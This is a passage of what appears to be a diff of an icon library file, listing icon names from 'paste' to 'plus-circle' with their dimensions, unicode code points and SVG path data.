64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 13.02 3.94 25.1 10.62 35.21l-18.15 36.3c-16.98-4.6-35.6-7.51-56.46-7.51s-39.49 2.91-56.46 7.51l-18.15-36.3C252.06 89.1 256 77.02 256 64c0-35.35-28.65-64-64-64s-64 28.65-64 64c0 33.98 26.56 61.5 60.02 63.6l17.25 34.5C145.68 202.44 125.15 264 108 264c-6.94 0-11.34-5.03-21.94-21.17C74.88 225.78 57.96 200 24 200c-13.25 0-24 10.75-24 24s10.75 24 24 24c6.94 0 11.34 5.03 21.94 21.17C57.13 286.22 74.05 312 108 312c18.29 0 31.53-7.55 41.7-17.11 1.95 2.79 4.14 5.66 6.38 8.57-10.51 13.33-14.62 29.5-17.95 42.65-5.06 20-7.77 26.28-15.89 29.38-8.11 3.06-14.33.17-31.41-11.36-18.03-12.2-42.72-28.92-75.37-16.45-12.39 4.72-18.59 18.58-13.87 30.97 4.72 12.41 18.61 18.61 30.97 13.88 8.16-3.09 14.34-.19 31.39 11.36 13.55 9.16 30.83 20.86 52.42 20.84 7.17 0 14.83-1.28 22.97-4.39 32.66-12.44 39.98-41.33 45.33-62.44 2.21-8.72 3.99-14.49 5.95-18.87 16.62 13.61 36.95 25.88 61.64 34.17-9.96 37-32.18 90.8-60.26 90.8-13.25 0-24 10.75-24 24s10.75 24 24 24c66.74 0 97.05-88.63 107.42-129.14 6.69.6 13.42 1.14 20.58 1.14s13.89-.54 20.58-1.14C350.95 423.37 381.26 512 448 512c13.25 0 24-10.75 24-24s-10.75-24-24-24c-27.94 0-50.21-53.81-60.22-90.81 24.69-8.29 45-20.56 61.62-34.16 1.96 4.38 3.74 10.15 5.95 18.87 5.34 21.11 12.67 50 45.33 62.44 8.14 3.11 15.8 4.39 22.97 4.39 21.59 0 38.87-11.69 52.42-20.84 17.05-11.55 23.28-14.45 31.39-11.36 12.39 4.75 26.27-1.47 30.97-13.88 4.71-12.4-1.49-26.26-13.89-30.98zM448 48c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16zm-256 0c8.82 0 16 7.18 16 16s-7.18 16-16 16-16-7.18-16-16 7.18-16 16-16z" ], + paste: [ 448, 512, [], "f0ea", "M128 184c0-30.879 25.122-56 56-56h136V56c0-13.255-10.745-24-24-24h-80.61C204.306 12.89 183.637 0 160 0s-44.306 12.89-55.39 32H24C10.745 32 0 42.745 0 56v336c0 13.255 10.745 24 24 24h104V184zm32-144c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24zm184 248h104v200c0 13.255-10.745 24-24 24H184c-13.255 0-24-10.745-24-24V184c0-13.255 10.745-24 24-24h136v104c0 13.2 10.8 24 24 24zm104-38.059V256h-96v-96h6.059a24 24 0 0 1 16.97 7.029l65.941 65.941a24.002 24.002 0 0 1 7.03 16.971z" ], + pause: [ 448, 512, [], "f04c", "M144 479H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zm304-48V79c0-26.5-21.5-48-48-48h-96c-26.5 0-48 21.5-48 48v352c0 26.5 21.5 48 48 48h96c26.5 0 48-21.5 48-48z" ], + "pause-circle": [ 512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-16 328c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160zm112 0c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v160z" ], + paw: [ 512, 512, [], "f1b0", "M256 224c-79.41 0-192 122.76-192 200.25 0 34.9 26.81 55.75 71.74 55.75 48.84 0 81.09-25.08 120.26-25.08 39.51 0 71.85 25.08 120.26 25.08 44.93 0 71.74-20.85 71.74-55.75C448 346.76 335.41 224 256 224zm-147.28-12.61c-10.4-34.65-42.44-57.09-71.56-50.13-29.12 6.96-44.29 40.69-33.89 75.34 10.4 34.65 42.44 57.09 71.56 50.13 29.12-6.96 44.29-40.69 33.89-75.34zm84.72-20.78c30.94-8.14 46.42-49.94 34.58-93.36s-46.52-72.01-77.46-63.87-46.42 49.94-34.58 93.36c11.84 43.42 46.53 72.02 77.46 63.87zm281.39-29.34c-29.12-6.96-61.15 15.48-71.56 50.13-10.4 34.65 4.77 68.38 33.89 75.34 29.12 6.96 61.15-15.48 71.56-50.13 10.4-34.65-4.77-68.38-33.89-75.34zm-156.27 29.34c30.94 8.14 65.62-20.45 77.46-63.87 11.84-43.42-3.64-85.21-34.58-93.36s-65.62 20.45-77.46 63.87c-11.84 43.42 3.64 85.22 34.58 93.36z" ], + peace: [ 496, 512, [], "f67c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm184 248c0 31.93-8.2 61.97-22.57 88.17L280 240.63V74.97c86.23 15.21 152 90.5 152 181.03zM216 437.03c-33.86-5.97-64.49-21.2-89.29-43.02L216 322.57v114.46zm64-114.46L369.29 394c-24.8 21.82-55.43 37.05-89.29 43.02V322.57zm-64-247.6v165.66L86.57 344.17C72.2 317.97 64 287.93 64 256c0-90.53 65.77-165.82 152-181.03z" ], + pen: [ 512, 512, [], "f304", "M290.74 93.24l128.02 128.02-277.99 277.99-114.14 12.6C11.35 513.54-1.56 500.62.14 485.34l12.7-114.22 277.9-277.88zm207.2-19.06l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.76 18.75-49.16 0-67.91z" ], + "pen-alt": [ 512, 512, [], "f305", "M497.94 74.17l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91zm-246.8-20.53c-15.62-15.62-40.94-15.62-56.56 0L75.8 172.43c-6.25 6.25-6.25 16.38 0 22.62l22.63 22.63c6.25 6.25 16.38 6.25 22.63 0l101.82-101.82 22.63 22.62L93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l196.79-196.79-82.77-82.77-84.85-84.85z" ], + "pen-fancy": [ 512, 512, [], "f5ac", "M79.18 282.94a32.005 32.005 0 0 0-20.24 20.24L0 480l4.69 4.69 92.89-92.89c-.66-2.56-1.57-5.03-1.57-7.8 0-17.67 14.33-32 32-32s32 14.33 32 32-14.33 32-32 32c-2.77 0-5.24-.91-7.8-1.57l-92.89 92.89L32 512l176.82-58.94a31.983 31.983 0 0 0 20.24-20.24l33.07-84.07-98.88-98.88-84.07 33.07zM369.25 28.32L186.14 227.81l97.85 97.85 199.49-183.11C568.4 67.48 443.73-55.94 369.25 28.32z" ], + "pen-nib": [ 512, 512, [], "f5ad", "M136.6 138.79a64.003 64.003 0 0 0-43.31 41.35L0 460l14.69 14.69L164.8 324.58c-2.99-6.26-4.8-13.18-4.8-20.58 0-26.51 21.49-48 48-48s48 21.49 48 48-21.49 48-48 48c-7.4 0-14.32-1.81-20.58-4.8L37.31 497.31 52 512l279.86-93.29a64.003 64.003 0 0 0 41.35-43.31L416 224 288 96l-151.4 42.79zm361.34-64.62l-60.11-60.11c-18.75-18.75-49.16-18.75-67.91 0l-56.55 56.55 128.02 128.02 56.55-56.55c18.75-18.75 18.75-49.15 0-67.91z" ], + "pen-square": [ 448, 512, [], "f14b", "M400 480H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48v352c0 26.5-21.5 48-48 48zM238.1 177.9L102.4 313.6l-6.3 57.1c-.8 7.6 5.6 14.1 13.3 13.3l57.1-6.3L302.2 242c2.3-2.3 2.3-6.1 0-8.5L246.7 178c-2.5-2.4-6.3-2.4-8.6-.1zM345 165.1L314.9 135c-9.4-9.4-24.6-9.4-33.9 0l-23.1 23.1c-2.3 2.3-2.3 6.1 0 8.5l55.5 55.5c2.3 2.3 6.1 2.3 8.5 0L345 199c9.3-9.3 9.3-24.5 0-33.9z" ], + "pencil-alt": [ 512, 512, [], "f303", "M497.9 142.1l-46.1 46.1c-4.7 4.7-12.3 4.7-17 0l-111-111c-4.7-4.7-4.7-12.3 0-17l46.1-46.1c18.7-18.7 49.1-18.7 67.9 0l60.1 60.1c18.8 18.7 18.8 49.1 0 67.9zM284.2 99.8L21.6 362.4.4 483.9c-2.9 16.4 11.4 30.6 27.8 27.8l121.5-21.3 262.6-262.6c4.7-4.7 4.7-12.3 0-17l-111-111c-4.8-4.7-12.4-4.7-17.1 0zM124.1 339.9c-5.5-5.5-5.5-14.3 0-19.8l154-154c5.5-5.5 14.3-5.5 19.8 0s5.5 14.3 0 19.8l-154 154c-5.5 5.5-14.3 5.5-19.8 0zM88 424h48v36.3l-64.5 11.3-31.1-31.1L51.7 376H88v48z" ], + "pencil-ruler": [ 512, 512, [], "f5ae", "M109.46 244.04l134.58-134.56-44.12-44.12-61.68 61.68a7.919 7.919 0 0 1-11.21 0l-11.21-11.21c-3.1-3.1-3.1-8.12 0-11.21l61.68-61.68-33.64-33.65C131.47-3.1 111.39-3.1 99 9.29L9.29 99c-12.38 12.39-12.39 32.47 0 44.86l100.17 100.18zm388.47-116.8c18.76-18.76 18.75-49.17 0-67.93l-45.25-45.25c-18.76-18.76-49.18-18.76-67.95 0l-46.02 46.01 113.2 113.2 46.02-46.03zM316.08 82.71l-297 296.96L.32 487.11c-2.53 14.49 10.09 27.11 24.59 24.56l107.45-18.84L429.28 195.9 316.08 82.71zm186.63 285.43l-33.64-33.64-61.68 61.68c-3.1 3.1-8.12 3.1-11.21 0l-11.21-11.21c-3.09-3.1-3.09-8.12 0-11.21l61.68-61.68-44.14-44.14L267.93 402.5l100.21 100.2c12.39 12.39 32.47 12.39 44.86 0l89.71-89.7c12.39-12.39 12.39-32.47 0-44.86z" ], + "people-arrows": [ 576, 512, [], "e068", "M96,128A64,64,0,1,0,32,64,64,64,0,0,0,96,128Zm0,176.08a44.11,44.11,0,0,1,13.64-32L181.77,204c1.65-1.55,3.77-2.31,5.61-3.57A63.91,63.91,0,0,0,128,160H64A64,64,0,0,0,0,224v96a32,32,0,0,0,32,32V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V383.61l-50.36-47.53A44.08,44.08,0,0,1,96,304.08ZM480,128a64,64,0,1,0-64-64A64,64,0,0,0,480,128Zm32,32H448a63.91,63.91,0,0,0-59.38,40.42c1.84,1.27,4,2,5.62,3.59l72.12,68.06a44.37,44.37,0,0,1,0,64L416,383.62V480a32,32,0,0,0,32,32h64a32,32,0,0,0,32-32V352a32,32,0,0,0,32-32V224A64,64,0,0,0,512,160ZM444.4,295.34l-72.12-68.06A12,12,0,0,0,352,236v36H224V236a12,12,0,0,0-20.28-8.73L131.6,295.34a12.4,12.4,0,0,0,0,17.47l72.12,68.07A12,12,0,0,0,224,372.14V336H352v36.14a12,12,0,0,0,20.28,8.74l72.12-68.07A12.4,12.4,0,0,0,444.4,295.34Z" ], + "people-carry": [ 640, 512, [], "f4ce", "M128 96c26.5 0 48-21.5 48-48S154.5 0 128 0 80 21.5 80 48s21.5 48 48 48zm384 0c26.5 0 48-21.5 48-48S538.5 0 512 0s-48 21.5-48 48 21.5 48 48 48zm125.7 372.1l-44-110-41.1 46.4-2 18.2 27.7 69.2c5 12.5 17 20.1 29.7 20.1 4 0 8-.7 11.9-2.3 16.4-6.6 24.4-25.2 17.8-41.6zm-34.2-209.8L585 178.1c-4.6-20-18.6-36.8-37.5-44.9-18.5-8-39-6.7-56.1 3.3-22.7 13.4-39.7 34.5-48.1 59.4L432 229.8 416 240v-96c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16v96l-16.1-10.2-11.3-33.9c-8.3-25-25.4-46-48.1-59.4-17.2-10-37.6-11.3-56.1-3.3-18.9 8.1-32.9 24.9-37.5 44.9l-18.4 80.2c-4.6 20 .7 41.2 14.4 56.7l67.2 75.9 10.1 92.6C130 499.8 143.8 512 160 512c1.2 0 2.3-.1 3.5-.2 17.6-1.9 30.2-17.7 28.3-35.3l-10.1-92.8c-1.5-13-6.9-25.1-15.6-35l-43.3-49 17.6-70.3 6.8 20.4c4.1 12.5 11.9 23.4 24.5 32.6l51.1 32.5c4.6 2.9 12.1 4.6 17.2 5h160c5.1-.4 12.6-2.1 17.2-5l51.1-32.5c12.6-9.2 20.4-20 24.5-32.6l6.8-20.4 17.6 70.3-43.3 49c-8.7 9.9-14.1 22-15.6 35l-10.1 92.8c-1.9 17.6 10.8 33.4 28.3 35.3 1.2.1 2.3.2 3.5.2 16.1 0 30-12.1 31.8-28.5l10.1-92.6 67.2-75.9c13.6-15.5 19-36.7 14.4-56.7zM46.3 358.1l-44 110c-6.6 16.4 1.4 35 17.8 41.6 16.8 6.6 35.1-1.7 41.6-17.8l27.7-69.2-2-18.2-41.1-46.4z" ], + "pepper-hot": [ 512, 512, [], "f816", "M330.67 263.12V173.4l-52.75-24.22C219.44 218.76 197.58 400 56 400a56 56 0 0 0 0 112c212.64 0 370.65-122.87 419.18-210.34l-37.05-38.54zm131.09-128.37C493.92 74.91 477.18 26.48 458.62 3a8 8 0 0 0-11.93-.59l-22.9 23a8.06 8.06 0 0 0-.89 10.23c6.86 10.36 17.05 35.1-1.4 72.32A142.85 142.85 0 0 0 364.34 96c-28 0-54 8.54-76.34 22.59l74.67 34.29v78.24h89.09L506.44 288c3.26-12.62 5.56-25.63 5.56-39.31a154 154 0 0 0-50.24-113.94z" ], + percent: [ 448, 512, [], "f295", "M112 224c61.9 0 112-50.1 112-112S173.9 0 112 0 0 50.1 0 112s50.1 112 112 112zm0-160c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48 21.5-48 48-48zm224 224c-61.9 0-112 50.1-112 112s50.1 112 112 112 112-50.1 112-112-50.1-112-112-112zm0 160c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zM392.3.2l31.6-.1c19.4-.1 30.9 21.8 19.7 37.8L77.4 501.6a23.95 23.95 0 0 1-19.6 10.2l-33.4.1c-19.5 0-30.9-21.9-19.7-37.8l368-463.7C377.2 4 384.5.2 392.3.2z" ], + percentage: [ 384, 512, [], "f541", "M109.25 173.25c24.99-24.99 24.99-65.52 0-90.51-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 25 25 65.52 25 90.51 0zm256 165.49c-24.99-24.99-65.52-24.99-90.51 0-24.99 24.99-24.99 65.52 0 90.51 24.99 24.99 65.52 24.99 90.51 0 25-24.99 25-65.51 0-90.51zm-1.94-231.43l-22.62-22.62c-12.5-12.5-32.76-12.5-45.25 0L20.69 359.44c-12.5 12.5-12.5 32.76 0 45.25l22.62 22.62c12.5 12.5 32.76 12.5 45.25 0l274.75-274.75c12.5-12.49 12.5-32.75 0-45.25z" ], + "person-booth": [ 576, 512, [], "f756", "M192 496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320h-64v176zm32-272h-50.9l-45.2-45.3C115.8 166.6 99.7 160 82.7 160H64c-17.1 0-33.2 6.7-45.3 18.8C6.7 190.9 0 207 0 224.1L.2 320 0 480c0 17.7 14.3 32 31.9 32 17.6 0 32-14.3 32-32l.1-100.7c.9.5 1.6 1.3 2.5 1.7l29.1 43v56c0 17.7 14.3 32 32 32s32-14.3 32-32v-56.5c0-9.9-2.3-19.8-6.7-28.6l-41.2-61.3V253l20.9 20.9c9.1 9.1 21.1 14.1 33.9 14.1H224c17.7 0 32-14.3 32-32s-14.3-32-32-32zM64 128c26.5 0 48-21.5 48-48S90.5 32 64 32 16 53.5 16 80s21.5 48 48 48zm224-96l31.5 223.1-30.9 154.6c-4.3 21.6 13 38.3 31.4 38.3 15.2 0 28-9.1 32.3-30.4.9 16.9 14.6 30.4 31.7 30.4 17.7 0 32-14.3 32-32 0 17.7 14.3 32 32 32s32-14.3 32-32V0H288v32zm-96 0v160h64V0h-32c-17.7 0-32 14.3-32 32zM544 0h-32v496c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V32c0-17.7-14.3-32-32-32z" ], + phone: [ 512, 512, [], "f095", "M493.4 24.6l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-36 76.7-98.9 140.5-177.2 177.2l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48C3.9 366.5-2 378.1.6 389.4l24 104C27.1 504.2 36.7 512 48 512c256.1 0 464-207.5 464-464 0-11.2-7.7-20.9-18.6-23.4z" ], + "phone-alt": [ 512, 512, [], "f879", "M497.39 361.8l-112-48a24 24 0 0 0-28 6.9l-49.6 60.6A370.66 370.66 0 0 1 130.6 204.11l60.6-49.6a23.94 23.94 0 0 0 6.9-28l-48-112A24.16 24.16 0 0 0 122.6.61l-104 24A24 24 0 0 0 0 48c0 256.5 207.9 464 464 464a24 24 0 0 0 23.4-18.6l24-104a24.29 24.29 0 0 0-14.01-27.6z" ], + "phone-slash": [ 640, 512, [], "f3dd", "M268.2 381.4l-49.6-60.6c-6.8-8.3-18.2-11.1-28-6.9l-112 48c-10.7 4.6-16.5 16.1-13.9 27.5l24 104c2.5 10.8 12.1 18.6 23.4 18.6 100.7 0 193.7-32.4 269.7-86.9l-80-61.8c-10.9 6.5-22.1 12.7-33.6 18.1zm365.6 76.7L475.1 335.5C537.9 256.4 576 156.9 576 48c0-11.2-7.7-20.9-18.6-23.4l-104-24c-11.3-2.6-22.9 3.3-27.5 13.9l-48 112c-4.2 9.8-1.4 21.3 6.9 28l60.6 49.6c-12.2 26.1-27.9 50.3-46 72.8L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4l588.4 454.7c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.4-6.8 4.1-16.9-2.9-22.3z" ], + "phone-square": [ 448, 512, [], "f098", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM94 416c-7.033 0-13.057-4.873-14.616-11.627l-14.998-65a15 15 0 0 1 8.707-17.16l69.998-29.999a15 15 0 0 1 17.518 4.289l30.997 37.885c48.944-22.963 88.297-62.858 110.781-110.78l-37.886-30.997a15.001 15.001 0 0 1-4.289-17.518l30-69.998a15 15 0 0 1 17.16-8.707l65 14.998A14.997 14.997 0 0 1 384 126c0 160.292-129.945 290-290 290z" ], + "phone-square-alt": [ 448, 512, [], "f87b", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h352a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48zm-16.39 307.37l-15 65A15 15 0 0 1 354 416C194 416 64 286.29 64 126a15.7 15.7 0 0 1 11.63-14.61l65-15A18.23 18.23 0 0 1 144 96a16.27 16.27 0 0 1 13.79 9.09l30 70A17.9 17.9 0 0 1 189 181a17 17 0 0 1-5.5 11.61l-37.89 31a231.91 231.91 0 0 0 110.78 110.78l31-37.89A17 17 0 0 1 299 291a17.85 17.85 0 0 1 5.91 1.21l70 30A16.25 16.25 0 0 1 384 336a17.41 17.41 0 0 1-.39 3.37z" ], + "phone-volume": [ 384, 512, [], "f2a0", "M97.333 506.966c-129.874-129.874-129.681-340.252 0-469.933 5.698-5.698 14.527-6.632 21.263-2.422l64.817 40.513a17.187 17.187 0 0 1 6.849 20.958l-32.408 81.021a17.188 17.188 0 0 1-17.669 10.719l-55.81-5.58c-21.051 58.261-20.612 122.471 0 179.515l55.811-5.581a17.188 17.188 0 0 1 17.669 10.719l32.408 81.022a17.188 17.188 0 0 1-6.849 20.958l-64.817 40.513a17.19 17.19 0 0 1-21.264-2.422zM247.126 95.473c11.832 20.047 11.832 45.008 0 65.055-3.95 6.693-13.108 7.959-18.718 2.581l-5.975-5.726c-3.911-3.748-4.793-9.622-2.261-14.41a32.063 32.063 0 0 0 0-29.945c-2.533-4.788-1.65-10.662 2.261-14.41l5.975-5.726c5.61-5.378 14.768-4.112 18.718 2.581zm91.787-91.187c60.14 71.604 60.092 175.882 0 247.428-4.474 5.327-12.53 5.746-17.552.933l-5.798-5.557c-4.56-4.371-4.977-11.529-.93-16.379 49.687-59.538 49.646-145.933 0-205.422-4.047-4.85-3.631-12.008.93-16.379l5.798-5.557c5.022-4.813 13.078-4.394 17.552.933zm-45.972 44.941c36.05 46.322 36.108 111.149 0 157.546-4.39 5.641-12.697 6.251-17.856 1.304l-5.818-5.579c-4.4-4.219-4.998-11.095-1.285-15.931 26.536-34.564 26.534-82.572 0-117.134-3.713-4.836-3.115-11.711 1.285-15.931l5.818-5.579c5.159-4.947 13.466-4.337 17.856 1.304z" ], + "photo-video": [ 640, 512, [], "f87c", "M608 0H160a32 32 0 0 0-32 32v96h160V64h192v320h128a32 32 0 0 0 32-32V32a32 32 0 0 0-32-32zM232 103a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm352 208a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9v-30a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm0-104a9 9 0 0 1-9 9h-30a9 9 0 0 1-9-9V73a9 9 0 0 1 9-9h30a9 9 0 0 1 9 9zm-168 57H32a32 32 0 0 0-32 32v288a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM96 224a32 32 0 1 1-32 32 32 32 0 0 1 32-32zm288 224H64v-32l64-64 32 32 128-128 96 96z" ], + "piggy-bank": [ 576, 512, [], "f4d3", "M560 224h-29.5c-8.8-20-21.6-37.7-37.4-52.5L512 96h-32c-29.4 0-55.4 13.5-73 34.3-7.6-1.1-15.1-2.3-23-2.3H256c-77.4 0-141.9 55-156.8 128H56c-14.8 0-26.5-13.5-23.5-28.8C34.7 215.8 45.4 208 57 208h1c3.3 0 6-2.7 6-6v-20c0-3.3-2.7-6-6-6-28.5 0-53.9 20.4-57.5 48.6C-3.9 258.8 22.7 288 56 288h40c0 52.2 25.4 98.1 64 127.3V496c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-48h128v48c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16v-80.7c11.8-8.9 22.3-19.4 31.3-31.3H560c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16zm-128 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zM256 96h128c5.4 0 10.7.4 15.9.8 0-.3.1-.5.1-.8 0-53-43-96-96-96s-96 43-96 96c0 2.1.5 4.1.6 6.2 15.2-3.9 31-6.2 47.4-6.2z" ], + pills: [ 576, 512, [], "f484", "M112 32C50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V144c0-61.9-50.1-112-112-112zm48 224H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm139.7-29.7c-3.5-3.5-9.4-3.1-12.3.8-45.3 62.5-40.4 150.1 15.9 206.4 56.3 56.3 143.9 61.2 206.4 15.9 4-2.9 4.3-8.8.8-12.3L299.7 226.3zm229.8-19c-56.3-56.3-143.9-61.2-206.4-15.9-4 2.9-4.3 8.8-.8 12.3l210.8 210.8c3.5 3.5 9.4 3.1 12.3-.8 45.3-62.6 40.5-150.1-15.9-206.4z" ], + "pizza-slice": [ 512, 512, [], "f818", "M158.87.15c-16.16-1.52-31.2 8.42-35.33 24.12l-14.81 56.27c187.62 5.49 314.54 130.61 322.48 317l56.94-15.78c15.72-4.36 25.49-19.68 23.62-35.9C490.89 165.08 340.78 17.32 158.87.15zm-58.47 112L.55 491.64a16.21 16.21 0 0 0 20 19.75l379-105.1c-4.27-174.89-123.08-292.14-299.15-294.1zM128 416a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm48-152a32 32 0 1 1 32-32 32 32 0 0 1-32 32zm104 104a32 32 0 1 1 32-32 32 32 0 0 1-32 32z" ], + "place-of-worship": [ 640, 512, [], "f67f", "M620.61 366.55L512 320v192h112c8.84 0 16-7.16 16-16V395.96a32 32 0 0 0-19.39-29.41zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.55A32 32 0 0 0 0 395.96zm464.46-149.28L416 217.6V102.63c0-8.49-3.37-16.62-9.38-22.63L331.31 4.69c-6.25-6.25-16.38-6.25-22.62 0L233.38 80c-6 6-9.38 14.14-9.38 22.63V217.6l-48.46 29.08A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.66-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44z" ], + plane: [ 576, 512, [], "f072", "M480 192H365.71L260.61 8.06A16.014 16.014 0 0 0 246.71 0h-65.5c-10.63 0-18.3 10.17-15.38 20.39L214.86 192H112l-43.2-57.6c-3.02-4.03-7.77-6.4-12.8-6.4H16.01C5.6 128-2.04 137.78.49 147.88L32 256 .49 364.12C-2.04 374.22 5.6 384 16.01 384H56c5.04 0 9.78-2.37 12.8-6.4L112 320h102.86l-49.03 171.6c-2.92 10.22 4.75 20.4 15.38 20.4h65.5c5.74 0 11.04-3.08 13.89-8.06L365.71 320H480c35.35 0 96-28.65 96-64s-60.65-64-96-64z" ], + "plane-arrival": [ 640, 512, [], "f5af", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM44.81 205.66l88.74 80a62.607 62.607 0 0 0 25.47 13.93l287.6 78.35c26.48 7.21 54.56 8.72 81 1.36 29.67-8.27 43.44-21.21 47.25-35.71 3.83-14.5-1.73-32.71-23.37-54.96-19.28-19.82-44.35-32.79-70.83-40l-97.51-26.56L282.8 30.22c-1.51-5.81-5.95-10.35-11.66-11.91L206.05.58c-10.56-2.88-20.9 5.32-20.71 16.44l47.92 164.21-102.2-27.84-27.59-67.88c-1.93-4.89-6.01-8.57-11.02-9.93L52.72 64.75c-10.34-2.82-20.53 5-20.72 15.88l.23 101.78c.19 8.91 6.03 17.34 12.58 23.25z" ], + "plane-departure": [ 640, 512, [], "f5b0", "M624 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM80.55 341.27c6.28 6.84 15.1 10.72 24.33 10.71l130.54-.18a65.62 65.62 0 0 0 29.64-7.12l290.96-147.65c26.74-13.57 50.71-32.94 67.02-58.31 18.31-28.48 20.3-49.09 13.07-63.65-7.21-14.57-24.74-25.27-58.25-27.45-29.85-1.94-59.54 5.92-86.28 19.48l-98.51 49.99-218.7-82.06a17.799 17.799 0 0 0-18-1.11L90.62 67.29c-10.67 5.41-13.25 19.65-5.17 28.53l156.22 98.1-103.21 52.38-72.35-36.47a17.804 17.804 0 0 0-16.07.02L9.91 230.22c-10.44 5.3-13.19 19.12-5.57 28.08l76.21 82.97z" ], + "plane-slash": [ 640, 512, [], "e069", "M32.48,147.88,64,256,32.48,364.13A16,16,0,0,0,48,384H88a16,16,0,0,0,12.8-6.41L144,320H246.85l-49,171.59A16,16,0,0,0,213.2,512h65.5a16,16,0,0,0,13.89-8.06l66.6-116.54L34.35,136.34A15.47,15.47,0,0,0,32.48,147.88ZM633.82,458.09,455.14,320H512c35.34,0,96-28.66,96-64s-60.66-64-96-64H397.7L292.61,8.06C290.06,3.61,283.84,0,278.71,0H213.2a16,16,0,0,0-15.38,20.39l36.94,129.29L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09Z" ], + play: [ 448, 512, [], "f04b", "M424.4 214.7L72.4 6.6C43.8-10.3 0 6.1 0 47.9V464c0 37.5 40.7 60.1 72.4 41.3l352-208c31.4-18.5 31.5-64.1 0-82.6z" ], + "play-circle": [ 512, 512, [], "f144", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm115.7 272l-176 101c-15.8 8.8-35.7-2.5-35.7-21V152c0-18.4 19.8-29.8 35.7-21l176 107c16.4 9.2 16.4 32.9 0 42z" ], + plug: [ 384, 512, [], "f1e6", "M320,32a32,32,0,0,0-64,0v96h64Zm48,128H16A16,16,0,0,0,0,176v32a16,16,0,0,0,16,16H32v32A160.07,160.07,0,0,0,160,412.8V512h64V412.8A160.07,160.07,0,0,0,352,256V224h16a16,16,0,0,0,16-16V176A16,16,0,0,0,368,160ZM128,32a32,32,0,0,0-64,0v96h64Z" ], + plus: [ 448, 512, [], "f067", "M416 208H272V64c0-17.67-14.33-32-32-32h-32c-17.67 0-32 14.33-32 32v144H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h144v144c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32V304h144c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z" ], + "plus-circle": [ 512, 512, [], "f055", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm144 276c0 6.6-5.4 12-12 12h-92v92c0 6.6-5.4 12-12 12h-56c-6.6 0-12-5.4-12-12v-92h-92c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h92v-92c0-6.6 5.4-12 12-12h56c6.6 0 12 5.4 12 12v92h92c6.6 0 12 5.4 